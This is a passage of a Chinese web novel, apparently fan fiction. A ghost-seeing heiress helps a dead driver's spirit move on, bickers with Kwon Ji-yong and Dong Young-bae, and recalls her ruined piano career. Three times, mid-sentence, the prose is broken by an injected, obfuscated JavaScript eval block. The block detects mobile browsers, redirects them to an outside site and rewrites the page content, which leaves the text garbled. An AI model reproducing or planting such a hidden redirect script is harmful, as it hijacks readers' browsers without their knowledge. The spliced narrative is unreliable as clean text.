李艺率皱眉:“人死了会变成痴呆吗?” 她对灵魂执念这类事情实在是一知半解,大部分时间由具时望担任引导着的角色。 具时望轻叹:“很多情况下,在意外发生的时候,人是无法感知到自己死亡的,对于活着的人来说,生活还是会继续下去,总会有走出来的一天。但那些离开的人呢?时间凝固了,意识被永远地困在那一刻,只能重复着最后的动作。”他解释道,目光穿透巷子的阴暗,落在男子身上,语气中竟颇有些伤感的意味。 具时望:“世上最悲哀的事情并仅仅是死亡。” 看着他一丝波澜也无的眼神,李艺率心头默然涌现出一阵难言的复杂。 像是一句无心的随口感叹,具时望的话音落下以后,又抱着手歪歪地靠着巷子,变回了那副装模做样的姿态。他的声音平静而又缱绻,带着咬字不紧不慢的腔调,“要不你说一点他生前在意的事情看看还有没有救。” 绝大多数普通的社会人,在意的事情无非是家庭、孩子,想起新闻里报道过的受害者年龄,李艺率试探性地开口:“喂,你结婚了吗?” 咔哒、咔哒、咔…… 声息渐隐,金永敷像是被点开什么开关,动作微滞,抬起了头。 金永敷:“结婚……惠贞……”他的声音低沉而沙哑,仿佛回忆起了什么重要的事情一般,嘴里不停重复着这个名字。 是妻子的名字吗? 李艺率心神一动,却并不追问,只是静静看着男子眼中的迷茫逐渐消散,站直了身体。 金永敷:“惠贞……我得回家,惠贞和孩子还……” 嘴里喃喃重复着这句话,男子挣扎着想要走出巷尾,身上的锁链哗哗作响。李艺率看着那道努力挣扎却始终无法走出一步的身影,轻身叹息。 李艺率:“你已经死了。” 金永敷的动作骤然停滞,眼中闪过一丝难以置信的痛苦。他缓缓低头,看着自己毫无实质、近乎透明的双手,锁链的声响愈发急促,泪水在虚无的眼眶中凝聚,却无法落下。 “那……那我……” 人在面对无法接受的现实时,最先感受到的情绪往往是迷茫和无措。 这正好契合了金永敷当下的困境。 我们谈起死亡时往往会下意识忽略人之一生终极的命题——肉/体消亡后,灵魂的归宿该如何被妥帖安放?直到真正接受了死亡这个现实,金永敷仍旧是无措的。 他茫然地环顾四周,试探性地几经开口,又在中途将话语咽回。好半晌才转动手上的枷锁,讷讷问道:“你能帮我离开这里吗?我想回家去看看孩子。” “我很抱歉,如果帮你打开这个的话,你的灵魂很快就会消散了。”李艺率沉默片刻,继而说道,“但是我可以帮你完成你生前最在意的心愿。” 金永敷眼神微颤。 李艺率:“你可以选择现在离开,或者几年以后完成心愿再离开。” “你的意思是……我可以自己选择离开的时间,对吗?” “嗯,我之前碰到一个女孩,她是在救护车上离世的。”李艺率回忆起那个被无端民意意外裹挟,最后无辜离世的文智慧,点了点头,“人死后会被困在生前最后一个地方,而她跟着救护车每天都会有新的变化,能见到很多不一样的人。她希望能多看看这个世界几年,所以选择留下来了。” 闻言,金永敷显得格外意外:“我记得……我应该也是在车里死去的。” 李艺率:“你撞上护栏了啊。没系安全带,整个人被甩飞出去好几米,新闻上都报道了。” 说着,李艺率摇着头感叹,“来生千万记得要系好安全带。啊,如果你还有来生的话。” 金永敷苦笑:“…………” 拜托,能不能别对一个死人这么刻薄! 他几经犹豫和深思,最终叹了口气,选择离开。 “他们未来的人生还很长,虽然不想很快被忘记,但……他们总要走出来的。” 看着李艺率打完电话,确定了银河集团旗下的慈善基金会会资助他的两个孩子直到成年,金永敷仿佛终于释怀一般,轻声说道:“虽然很不甘心,但现在这样已经足够了。” 他的神态平静从容,像是在拥抱一场可以预见的死亡,原本不起眼的脸上在此刻仿佛也带着些说不清的庄重来。 无数光点逸散开来,缓缓将他包围,那道本就被凝练地不甚明显的身影在此刻逐渐遁入虚无,化作一缕轻烟、一道褪色的墨痕、一抹被日光稀释的剪影,消散在秋日的微风里。 李艺率默默注视这面前的空旷,直到最后一丝光点彻底消逝—— 神经末梢停止了尖叫,关节间的砂纸被暂时抽走,皮肤表层那些看不见的倒刺突然软化。 身体突然变成了借来的躯壳,疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068731|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛在此刻短暂地忘记了仇恨,露出了退潮后平静的海床,白皙的皮肤安静地覆在骨节上,像一片未被开垦的雪地。 这是一种短暂的、近乎是亵渎的愉悦。 * 另一边,李叡承挂断了和妹妹的通话,从办公桌上抽出一份资料,嗤笑一声:“结婚八年出轨七年,私生女和最大的孩子同岁……所以说,这个世界上哪有什么好男人。” 碎纸机嗡嗡运转,吞吃着纸张,在彻底变成碎屑之前,一张普通得近乎平庸的中年男人面孔在纸页间一闪而过,继而在机器的运转中,湮灭在机械的腹腔深处,连带着所有被隐藏的真实,一同化作虚无。 * 短暂获得生而为人,我很快乐状态的李艺率此刻脚步轻盈,连带着一直跟在她身后、向来被她嫌弃的具时望也在此刻面目可亲起来。 她在便利店小哥可疑的注目下买理直气壮地挺起胸膛付钱,拿着一包未拆封的香烟,放在了刚刚那个巷口。 继而像是终于解决了一桩大事一般,嘴里哼着不成句的调子,准备四处逛逛等司机来接。 没等她走出几步,身后传来了叫她的声音。 “那个……请等一下。” 李艺率转过头,一个个子不高,穿着卫衣牛仔裤的少年叫停了她的脚步。 看少年的模样似乎同她一般大,五官平平无奇,不过一双小眼睛倒是叫人格外印象深刻。他的脸上带着些腼腆。 哦,是个男的。 大概是并不经常和异性说话的缘故,少年显得有些局促,一副吞吞吐吐的模样:“那个……请问这个是你的吗?” 说着,递上一包香烟。 ……恰巧就是李艺率刚刚给金永敷的“贡品”。 李艺率:“…………” 陌生少年:“那个……虽然这么说有点多事,但我们未成年人还是别接触这些比较好。” 是的,在韩国,未成年人吸烟被抓会被强制接受禁烟教育,向未成年人违规售烟的商家也会面临处罚。 李艺率:“………………” 三男这个家伙!明明就跟在她身后,也不知道提醒她一下,非得眼睁睁看着她社死是吧?!! 尽管在心里痛骂了具时望无数遍,她面上还是挤出了一个装模做样的无知表情,磕磕巴巴地回道:“肾么、意思?韩语、听不懂、我。” 这下对面的少年愣在了原地:“…………” 身后传来两人都十分熟悉的声音:“永裴啊,愣着干嘛呢?” 东永裴终于松了一口气,转身看向权至龙,一副得救了的模样,“我捡到了东西,正准备还给失主。” 李艺率:“…………” 权至龙走近,看了一眼神色苦恼的东永裴,又瞥向了站在对面的,假装自己是个透明人的……李艺率?! 权至龙:“…………” 东永裴颇有些忧心忡忡地凑到权至龙耳边小声问道:“已经都开学快半个学期了,你同桌还是听不懂韩语吗?这样平时上课会很吃力吧。” 李艺率:“………………” 不妙,十分甚至九分的不妙。 权至龙:“………………” 权至龙:“哦,她装的。” 李艺率:“……嘻嘻。” 10. 不是哥们 人不会重复踏入同一条河流,但同样的招数李艺率却能用上无数次。 甚至不需要细问永裴发生了什么,权志龙看见她脸上熟悉的、装模做样的无知表情就知道这里刚刚上演了什么闹剧,他悄悄在心里翻了个白眼,对此甚至已经有点懒得再吐槽。 而东永裴听到权至龙的回答,想到李艺率刚刚那副无知又无辜到差点就把他完全骗过去的模样,替人尴尬的毛病忍不住犯了,在几人看不到的地方,运动鞋里的脚趾已经不安分地蜷缩成一团。 但李艺率哪能用常理去衡量? 都说好女人得到名声,坏女人得到一切。人生前十六年备受宠爱的财阀女生活把李艺率养成了彻彻底底的讨伐型人格,哪怕是在最狼狈的时候她都认真贯彻着自己的人生准则:顺我者富,逆我者滚。 所以即使是是在旁人看来尴尬至极的当下,她也绝不内耗,让多余的情绪打扰自己一秒。反而泰然自若地叉着腰,看向权志龙理直气壮道,“你怎么在这里?” 永裴:“…………” 权至龙:“…………” 这家伙难道真的不会有哪怕一秒的难为情吗?!你这内核未免也太稳定了吧! 权至龙:“我公司在这边。” “哦,那挺巧的。”李艺率点点头,作势环顾四周张望,“在哪里?” “………………” 权至龙:“……就在这里。” 说着,退开半步,露出身后那栋外立面贴着浅绿色的瓷砖,甚至因常年风吹雨打而部分剥落,露出斑驳的水泥的,五层的筒子楼。 此时的YG还只是一家在业内有点名气的小公司,办公楼选址在首尔麻浦区的老旧民居。 老房子的外墙上贴着各种小广告,密密麻麻的电线在头顶交错,像一张巨大的蜘蛛网。楼梯狭窄昏暗,铁质扶手锈迹斑斑,宿舍楼和办公室相邻,脱落的墙皮,下雨天恼人的滴水声和发霉的污渍,都在控诉着周遭环境之恶劣。 “好小。” 李艺率只打量了一眼便收回目光,看向权至龙,用那种不谙世事的、不知人间疾苦的、富家千金的标准句式感叹道:“原来这种地方也能开公司啊。” 永裴:“…………” 权至龙:“…………” 显然,在李艺率粗浅的认知里,办公楼的环境通常是像家里公司那样装着崭新透亮玻璃幕墙的高楼大厦,或者最起码也得是看上去光鲜亮丽的写字楼。如果要叫她知道此时的权至龙练习地点是潮湿昏暗的地下练习室,说不定她也只会无知无觉地发问:还可以这样吗?地下室难道不是专门用来存酒的地方吗? 权至龙当然知道她近乎冒犯的感叹其实并无恶意。 相处许久,他非常清楚李艺率偶尔流露出的这种近乎于残忍的天真,不仅源自于家境的优渥,更多则是来自一种近乎于苛刻的爱——尽管她偶尔会抱怨父亲的控制欲和哥哥的严格,但不可否认的是,她在这样的环境下被保护得很好。 如果换成是他的话,他大概也是会这样做的,他想。 毕竟这是一张未经风雨的娇俏脸庞,只需要写着快乐这一种情绪就足够了。 * “所以呢?永裴你捡到了什么东西?” 在上流富家千金震撼的冲击中,好不容易回过神的东永裴讷讷地举起一包未拆封的香烟,“是这个……” 李艺率:“…………” 权至龙:“………………” 就像是所有猫奴见到自家猫主子干坏事时,第一反应永远是不敢置信—— 权至龙:“真的假的?永裴你搞错了吧。” 接着是愤怒—— 权至龙:“呀,李艺率,你躲什么?看着我的眼睛!” 继而是自顾自地找好理由把责任推到旁人身上—— 权至龙:“你自己肯定不会懂这些的……是不是有人故意带坏你的?怎么会有人教你这个啊!可千万别被我逮到了……那个人是谁?!” 永裴无语:……哥们,你这是对待正常同学的态度吗?还有,你这双标的未免太过明显了吧! 事已至此,只能赶紧先打圆场,于是东永裴无奈摊手:“那个……至龙,有可能是搞错了……我刚刚想了一下,或许是我看错了也…………” 话说到一半就被权至龙抬手打断:“你先别说话,我要听听看她的解释。”说着,他双手抱胸站定,看向李艺率的神情中写满了他们学校教导主任教训刺头们时特有的扇形图表情,五分严苛,三分坚定,两分无奈,带着不容置疑的姿态,大有一副你今天没解释清楚别想走的模样。 李艺率和东永裴看着快速进入状态的权至龙,两个此前单方面素不相识的人对视一眼,心中默契地涌现一种相似的无语:………… 永裴:…………这人还是我哥们吗?!怎么突然小小年纪就一把年纪,管教女儿一样开始管教起同学了啊?! 李艺率则更多是出于一种被突如其来的管教冲击后的失语。 区区小权,明明是区区小权……怎么可以反过来对老大指手画脚?简直……简直是倒反天罡! 可不知怎么的,大概是因为权至龙此时这副凛然威严的模样让她莫名感到有些熟悉,李艺率忽然有些不敢反驳,像是被叼住后颈不敢挣扎的幼猫,只好老老实实地回答:“……是我买的。” 五分钟后,李艺率解释清楚原委,带着脸上还写满质疑的权至龙和无辜路人东永裴再次回到那个熟悉的巷口。 李艺率:“就是这里。” 权至龙仍然还是双手抱胸一副正气凌然的模样看向永裴:“证人证词呢?” 永裴:“…………”怎么这里面还有我的事啊?放过他好不好!! 永裴无奈悄悄翻了个白眼:“是在这里捡到的没错。” 权至龙这才勉强打消了怀疑,继而又问道:“你怎么会想到买这样的……贡品?” 李艺率想了想,随便拣了个理由:“新闻报道上说的,死者被甩飞出去的时候手上还拿着打火机,估计是开车点烟的时候不小心发生了意外。” 说着,在两个少年的目光注视下,拿过永裴手上的香烟,端端正正地摆在死者故去的位置,双手合十:“因为一支香烟发生意外,世界上怎么能有这么愚蠢的死法啊……下辈子记得开车别抽烟了,啊,如果你还能有下辈子的话。” 永裴:“…………” 虽然长得是很漂亮没错,但这位说出来的话未免也太刻薄了吧! 他在心里感叹着。 半个学期过去,有关这位转校生的话题从未间断过,外貌上的优越仅仅只是一方面,更多的则是对方那种不容忽视的矜持气场和单挑校霸顶撞老师等诸多传奇战绩。 身为权至龙同公司的好友,永裴当然听说过对好友的同桌兼午休搭子的种种传闻。而对比起来,好友对待这位转校生的态度……也很微妙,虽然时常会抱怨,但更多的是用一种难以言喻的亲昵态度。硬要说的话,类似于一种名为抱怨实则是炫耀的,令人感到生理不适的关种姿态。 就像现在,东永裴感受到旁边的人拿着胳膊肘悄悄碰他,转过头便见权至龙微不可察地冲李艺率挑了挑眉,看向他时眼里流露出来的意味也很明显:哎一古,快瞧瞧,我们艺率真的很是一个心地善良的孩子啊! 永裴:………… 够了!他真的没时间和这俩人胡闹了! * 可惜属于这天下午属于永裴的折磨远远还未结束。 大概是因为身体久违地卸下了疼痛的负担,李艺率今天实在是心情很好,便主动提出一起去吃午饭。 权至龙:“……这下我是真的不得不相信你今天心情很不错了。” 考虑到李艺率的口味特殊,三人最终敲定了一家由中国人经营的中餐馆。 离中午饭点已经过去许久,故而餐馆并不忙碌,只零星坐着几名神色匆匆的食客。李艺率对着菜单犹豫许久,最终在诸多忌口中选定了食材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068732|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不反感的香菇牛肉馅蒸水饺。 等到热气腾腾的蒸饺端上桌,权至龙已经捧着海鲜面埋头苦吃了。 李艺率笑眯眯地问老板娘另外要了一个碟子,拿着干净的餐具按照自己的食量分出来,一顿忙活以后饺子上的热气散了大半。 权至龙看着她慢吞吞的逃饭动作又皱起了眉,“早就和你说了,你先吃,等吃不完再剩下给我。” 这样慢吞吞的分到什么时候去?东西早就凉了。 闻言,李艺率只是慢条斯理地咽下食物,又喝了一大口餐馆提供的麦茶。像饺子这类食物的馅料一般都是提前准备好的,正常人的口味对于她来说实在是有些过于咸了。 大半杯茶水下肚,李艺率才缓缓开口:“你们知道,在自然界的某些族群中,存在着捡食的现象吗?” 在狼群中,头狼优先进食后,其他成员才能分享剩余食物,低级成员在接近食物时甚至会表现出顺从姿态,以换取进食许可,动物行为学则将此类行为归为资源分配策略。 李艺率:“人类社会同样存在这种秩序。大到权利资源竞争分配,小到宴席中的座次与顺序,只不过自然界族群的生存法则被人类用文化、情感和道德加以美化,本质仍是等级制度的变体,只不过是被赋予了更复杂的文化意义。” 无论是狼群中头狼进食后的次级分配,还是人类宴席上的尊卑座次、职场资源的倾斜流动,亦或家庭内部隐蔽的牺牲与忍让,权力进食链始终存在,就连韩国社会中最爱玩的那一套年上文化也不过是权力秩序链条的缩影。 权至龙和永裴:“…………” 权至龙:“……情况好像有点不太对。我先确认一下,我们现在是在中餐馆吃饭,而不是在汉城大的社会学课堂听课,对吧?” 永裴:“…………” 他们不是正在讨论吃饭吗?怎么画风突然变得这么深刻复杂了?一顿饭的功夫给他干哪来了?这里还是餐桌吗?! 还有,你身为一个财阀富家女,一个在权利链条上层的既得利益者,说出这种振聋发聩的反思未免有点太过讽刺了吧?! 李艺率则摇着食指轻讪:“啧、啧、啧,小权,我看你还是不懂呀~” 李艺率:“我想表达的是,吃剩饭这种行为本身就意味着一种隐性的服从。虽然你在名义上是我的仆人没错,但并不意味着我们之间的朋友关系就是不平等的。就像我和你分享食物,这并不意味着我比你高一等。相反,因为你帮助我解决了困扰,即使我表现得看上去不太明显,但发自内心地说,我对此是很尊重并感激的。” 说着,她握拳轻敲两下胸口又将手指向他,做了一个不伦不类的嘻哈动作:“Bro,respect!” 简单的三两句话就把权至龙哄成了胚胎,嘴角咧到了耳根。 他捅了两下恨不得装作自己不存在,埋头苦吃的永裴,挑了挑眉,眼里炫耀的关种意味再明显不过,继而又乐呵呵地帮李艺率解决起吃不完的食物。 在一旁默默围观了全过程的永裴:“…………” 被三两句话就哄得主动揽下了饭桶的活,值得炫耀的点到底在哪里?东永裴实在是不理解。 除了永裴以外,这顿饭大家吃得都还算愉快。 他们是最后一批吃完的客人。 餐馆那个模样和善的老板娘早早地将餐馆门口的两片半门帘放下,钻到后厨做晚上营业的准备工作。 一行人穿过大堂,权至龙快几步走上前,替李艺率撩开半门帘,动作熟练到像是做过类似的事情无数次,脑子还没反应过来,身体就已经开始先行动了一般。 永裴脸上写满了复杂:“……稍微低下头就能过去,也不至于这样吧。” 权至龙也被自己下意识的动作搞得有点难为情,他轻咳一声,随后又一脸义正词严地表示:“我们艺率,不需要为任何事情低头。” 永裴:“………………” 不是哥们,你听听你说的这还是人话吗? 11. 她没有梦想了 弹跳、摇摆、甩手。 头、肩膀、膝盖、脚。 少年站在练习室的镜子前,汗水顺着他的鬓角滑落。 镜中的身影绷紧腰背,脊椎像一把拉满的弓,他重复着同一个八拍动作——右腿后撤半步,左膝微屈,胯部划出半弧的同时手臂像流水般从胸前舒展开来。 乐声鼓点渐起,少年左臂向上延伸时,肩胛骨像一对苏醒的翅膀缓缓展开,脊柱像被一根无形的线牵引着向上延伸。 核心肌群被收紧,重心移到左脚,右脚尖轻轻点地,然后像画圆一样向外划开,他的上半身保持直立,髋部却随着腿部的动作微微摆动,形成一种优雅又松弛的对抗力。 直到乐声渐隐,权至龙暂停录影机,拿着手帕在额间囫囵擦了两把,这才喘息着拧开矿泉水瓶灌水。 托了这台练习室里新增的电视机的福,以往只能嘴里默数着节拍练舞的权至龙如今也是拥有BGM伴舞的练习生了——这放在他们公司可是那些即将要出道的练习生才能有的待遇! 是的,在询问过李艺率的意见并得到毫不意外的“随便用”的回复以后,权至龙小心翼翼地征用了电视与录影机——毕竟李艺率只在吃饭时会以看电视为借口磨磨蹭蹭,大多时间还是更乐意画画或者看本小说来打发时间,这台电视机除了每天大约半小时的运行时间外,多数时候也不过是一件闲置吃灰的昂贵装饰品。 身体柔韧度ok,核心爆发ok,节奏感ok。嗯,今天也一如既往地进步了一点。 权至龙看着镜中的自己,忍不住点了点头表示赞许,这是他一个非常隐晦的,自我认可的方式。 “好自恋的小权,刚刚是不是看着镜子又偷偷在心里夸自己了。” 权至龙:“…………” 李艺率懒懒地靠在桌子上,撑着下巴看他,眼里闪着熟悉的恶趣味,学着权至龙平时惯有的装模做样,半扯着嘴角摸了摸鼻尖,“嗯,今天也很有sense!” 有些动作,自己做出来和看旁人特意模仿的效果截然不同。此时的权至龙还没修炼出“别低头,皮草外套会掉”的Bking完成体,无论从心智还是生理上来说,都是一个再普通不过的十六岁少年,羞耻心这种东西几乎是发自本能地伴随着这个年龄阶段的成长。 他感觉到血液往脖子上冲,脸颊耳廓泛起微红,带着火热的温度,只好遵循本能地低下头蜷缩着手脚,近乎于软弱可欺地缩成一团。 权至龙:“哈吉麻!切拜,算我求你了,你知道的,我从来没有对你提过要求。” 权至龙:“这是我一生的请求。” 闻言,李艺率的眼角眉梢染上了更浓烈的笑意,带着恶作剧成功的恶劣畅快感,“已经是一生的请求这种程度啊……那我就不得不好好考虑一下了。”说完,她俏皮地眨着眼睛,举着手在身前交叉,“但是,我拒绝!” 权至龙:“…………” 虽然已经忘记在心里重复过多少遍了,但权至龙还是忍不住想要再次强调,她可真是一个性格恶劣到让人忍不住牙龈发痒的坏家伙啊! * 看着眼前这个抱着矿泉水瓶补水休息的同时还不忘在脚下重复碎步动作的少年,李艺率眼里闪过一丝复杂。 说起来已经相处好几个月了,但每个中午只要一抬头,就能看到他在镜子前不知疲倦地流着汗水,这时常会让李艺率感叹于他旺盛生命力之下的活人味。 “每天看你练得很努力,不觉得辛苦吗?” 权至龙看着镜子重复着动作,头也不抬的回到:“为了实现梦想而努力的事情,怎么会让人觉得辛苦呢?” 这个年龄段的青少年在谈及未来时都会带着些金子一般闪耀的憧憬。 想要从事什么职业,想要成为多么成熟的大人,想要拥有什么样的人生……仿佛只要将未来两字说出,就已经能从舌尖尝出梦想成真的甜蜜。 权至龙:“对了,一直没有问过你,以后你想做些什么?”说到这里,他想起李艺率出生就含着金汤匙站在罗马终点的优渥家境,又试探性地问道:“你应该……有梦想这种东西吧?” 李艺率没有丝毫犹豫便给出了答案:“有的,想要做世界的主宰。” 权至龙:“…………” 倒是给我想一点符合实际的东西啊! 李艺率看着权至龙睁着不大的死鱼眼,一副懒得吐槽的模样,理直气壮地挺胸反驳道:“我们小韩民国都已经是宇宙的起源了,退一万步来说,我的梦想为什么不可以被实现?!” 权至龙:“………………” 原来这么离谱的回答都已经是退一万步的结果了吗?! 权至龙:“我说啊,梦想这种东西,是要付出汗水和时间去努力、为了实现它付出一切代价也都心甘情愿的事情。” 权至龙:“就像是我的梦想是成为歌手,所以为了能站上舞台,哪怕是下一秒死掉也没关系。” 李艺率:“…………” 已经到这种严峻的地步了吗? 权至龙:“锡硕哥说我还不够优秀,达不到成为艺人的标准。为了早一点完成梦想,现在这样每天练习跳舞又算得了什么呢?我得抱着即使是膝盖碎掉也无所谓的决心努力才行。” 李艺率:“…………” 成为艺人的标准这么严苛的吗?以她的眼光看,权至龙跳得已经算够可以了啊。 说着,权至龙将喝空的水瓶以投篮姿态丢进垃圾桶,目标命中的时候他笑得格外灿烂,看向李艺率的时候还带着被阳光晒过的、无知无觉的小狗味:“虽然有时候会觉得很辛苦,但是我从来都没有想过要放弃哦!只要想到未来有机会站上舞台,就会发自内心觉得现在的努力都是一件很愉快的事情啊。” 李艺率:“………………” 他嘴上说完帅气的话,对着李艺率眨了眨眼睛便转身继续盯着镜子扒动作。丝毫没注意到,坐在他身后的,原本脸上挂着懒散笑意的李艺率,在听完他这样金子一般的憧憬以后,表情瞬间凝固了下来。 她的嘴角下垂,眼神空洞地盯着仍然无知无觉对着镜子纠正动作的权至龙的背影,显然此时的心情十分微妙。 区区小权,明明只是区区小权……怎么敢擅自说这种帅气的大话! 什么膝盖碎掉也无所谓,什么下一秒死掉也没关系……未免也太自说自话了吧。 所以说她讨厌狗啊。 她垂下眼睑,沉默地注视着自己的双手,那是一双手指极其修长,从小得到很好锻炼的,指尖与关节韧带柔软且富有弹性的手。 临近秋日,微凉的空气悄悄来临,气温的细微变化让李艺率忍不住手指蜷缩。 总是在这样一种身体最先敏感察觉到温度差异的时节,让她感受到自己与正常人世界的微妙隔阂。 梧桐叶还固执地缀在枝头时,像被无形的霜亲吻过,叶片边缘已经微微枯萎。她的视线扫过窗外略些萧瑟的秋日景色,最后又将落点停留在依靠着窗台面露微笑看着她的、仿佛仍然鲜活的具时望,一时之间思绪发散,怔怔地出神。 人的记忆是一块容易消磁的硬盘,但有些事却是无论怎么格式化都抹不去的存在。 当记忆的硬盘开始被蛮横地读写,那些原本被她努力掩埋的褪色回忆又在脑中逐渐被赋予了色彩,鲜活起来了—— 她又想起海因兹,记忆中那个不苟言笑的古板老头。 明明孤僻到连几个像样的亲朋好友都没有,却偏偏在人生的最后几年,忽然被冠上了“二十世纪最伟大的钢琴家”的名号,一时之间全世界都吻了上来。 她想起无数个连琴凳都爬不上去的年幼时光,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068733|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起这个无儿无女的孤僻老头搂着年幼的她,就像是全世界最普通不过的祖父那样,一味地夹着嗓音亲昵唤着她,Knuddelbar、Schmuse Maus……* 她想起老头皱巴巴却温暖干燥的大手轻抚着她的头顶,带着一种显而易见的、发自内心的骄傲,对着拍摄纪录片的导演说道,这是一个,未来成就一定会高于我的孩子。 她想起具时望在后台为她戴上珍珠耳环,想起人生第一次在音乐厅演奏,想起自己坐在聚光灯下指尖飞舞,想起如潮水般涌来的掌声,想起舞台下方人群兴奋地喊着bravo,想起鲜花,想起拥抱……想起了人生最后一次演奏—— 她坐在轮椅上,那是海因兹的葬礼。 真奇怪,老头明明不苟言笑了一辈子,偏偏在人生的最后一刻,却是一副极为安祥和蔼的表情,仿佛是在发自内心地拥抱死亡的喜悦。 ——左手落在低音区,弹奏出葬礼行列般的沉重步伐;右手紧接着加入,属七和弦像教堂钟声般回荡。 她在脑中构想着音符的节拍落点,手指条件反射地蜷缩了一下,像被无形的线拉扯着,指尖传来一阵尖锐的刺痛,有细小的钢针顺着指甲缝扎进去。 哇,她全都回忆起来了。 回忆起人生前十年的骄傲被打得七零八落的荒诞;回忆起葬礼进行曲压抑庄严的和弦音色;回忆起……终将伴随她一生的阴翳潮湿。 她没有完成梦想的能力了。 她不再需要用不切实际的幻想作为装点人生的安慰剂了。 她没有梦想了。 * 眼前摇晃着的手指打断了她的思绪。 权至龙收回在她眼前晃动的手掌,像是终于抓到恶作剧的机会一般,他得逞地展示脸上那对可爱的括弧,带着一种少年人特有的活泼和旺盛的生命力:“快到上课的时间了。” “哦,那走吧。” 李艺率站起身,收拾好书包跟着权至龙离开活动室。 教学楼两侧的梧桐树在秋风中轻轻摇曳,投下斑驳的光影。权至龙脚步轻快,小动作不断,嘴里还嘀嘀咕咕地同李艺率说着话。 权至龙:“对了,刚刚你在想什么呢?想得那么出神,我喊了你好几声都没听到。” 李艺率:“哦,就是顺着你刚刚伟大的梦想话题思考了一下人生。” 权至龙:“……那思考出什么来了?” 李艺率:“这个世界上绝大多数的财富和权利,获取途径是通过母婴和性传播的。” 权至龙:“…………所以呢?” 李艺率:“所以,所谓梦想,不过是普通人努力向上攀爬时紧紧抓住的那根蛛丝,被糖衣包裹的毒药,装点人生的安慰剂罢了……结论就是——我果然完全不需要有梦想这种东西。” 闻言,权至龙已经无语地翻起了白眼:“………………” 他果然不应该对这种含着金汤勺出生的大小姐抱有什么期待啊! “但是小权,”李艺率突然停下脚步,转头看向他,声音里透着些说不清的庄重来,“我可以实现你的梦想。” 真奇怪,权至龙心想。 明明她是这样面无表情的平静姿态,眼里没有一丝刻意的波动,可权至龙却恍惚觉得那双澄澈至极的暖棕色瞳孔下一秒便会溢出多余的眼泪来。 李艺率轻笑一声:“所以,与其寄希望于别人口中不切实际的梦想,不如把我当成努力实现人生的锚点吧。” 权至龙微微一愣,他看着她眼里属于他的清晰倒影,看着她与往常无异的平静微笑,恍惚间生出了李艺率的目光穿透他的灵魂,拥抱另一个影子的错觉。但他已经无暇思考更多—— 他听见她说:“小权,朝着我的方向,努力向上爬吧。” 她说:“我会实现你渴望的一切。” 12. 你还没走吗 权至龙本以为,那天下午有关梦想的话题不过是李艺率的一时兴起,就像他偶尔和公司的哥哥们谈论起类似的话题时,通常只会看到他们微妙的相视一笑和话题的无疾而终那样。 可他还是低估了大小姐的超强行动力。 在得到“我会实现你渴望的一切”这样连权至龙都认为是一句玩笑话的承诺后,第二天活动室里就多出了新的音响设备和大尺寸的液晶屏幕供他在练习舞蹈时扒动作。 而李艺率本人也似乎突然被激活了某种事业粉的心态,不仅会主动督促他的练习进度,甚至偶尔会问及他对经济公司的看法和公司的详细内部架构,言语之间颇有一种他现在所在的YG平台还是太小了,要不要专门为他开一家独立公司一掷千金的豪迈感。 权至龙:…………负担desu。 * 进入十一月以后,气温每天都有新的变化。 空气中带着丝丝凉意,行色匆匆的上班族也在这样染黄的深秋里,裹紧了上衣,跺着有些发麻的脚尖,步履间写满了疲惫。 权至龙踩着自行车停在街角的咖啡馆前,深吸一口冷气。 他将车锁好,推门而入。 室内暖气熏人,咖啡豆成熟苦涩的香味弥漫。 “社长nim,我要一杯热红茶,外带。” 中年男子笑眯眯地应了一声,招呼权至龙坐下,转身去准备饮品。 暖黄色的灯光洒在原木色的吧台上,投下温暖的光影。 权至龙漫不经心地打量着吧台甜品柜上模样精致的点心,心里暗暗考虑起李艺率的口味偏好。 店长抽空看了一眼盯着甜品柜的权至龙,随口问道:“是要给女朋友带的吗?” 闻言,室内熏人的暖气似乎更浓了几分,权至龙抿着唇连连摆手,嘴里着急地否认:“阿尼啊,是亲故呀,非常要好的朋友。” 店长看着他急忙否认的姿态只是会心一笑,继而说道,“巧克力慕斯怎么样?这款很受欢迎哦。” 权至龙想了想:“她……平时吃东西的口味很清淡,有没有不太甜的口味?” 店长:“那试试烤曲奇吧,是我太太自己做的。用的是进口黄油,调味没那么复杂。” 权至龙付过钱道了谢,带着打包好的黄油曲奇和热红茶走出咖啡馆。秋风卷起几片落叶,他低头看了一眼手机屏幕上刚刚收到的“已经出发了”的信息,嘴角不自觉地扬起一丝微笑。 [OK,今天外面有点冷,给你买了热饮,一会我要在后台化妆待机,让staff怒那帮我拿给你~] 看着手机屏幕上的小信封长着翅膀显示已送达,他的心情似乎也跟着轻快了一些,踩着自行车,穿过斑驳的树影,向着场馆的方向出发。 * 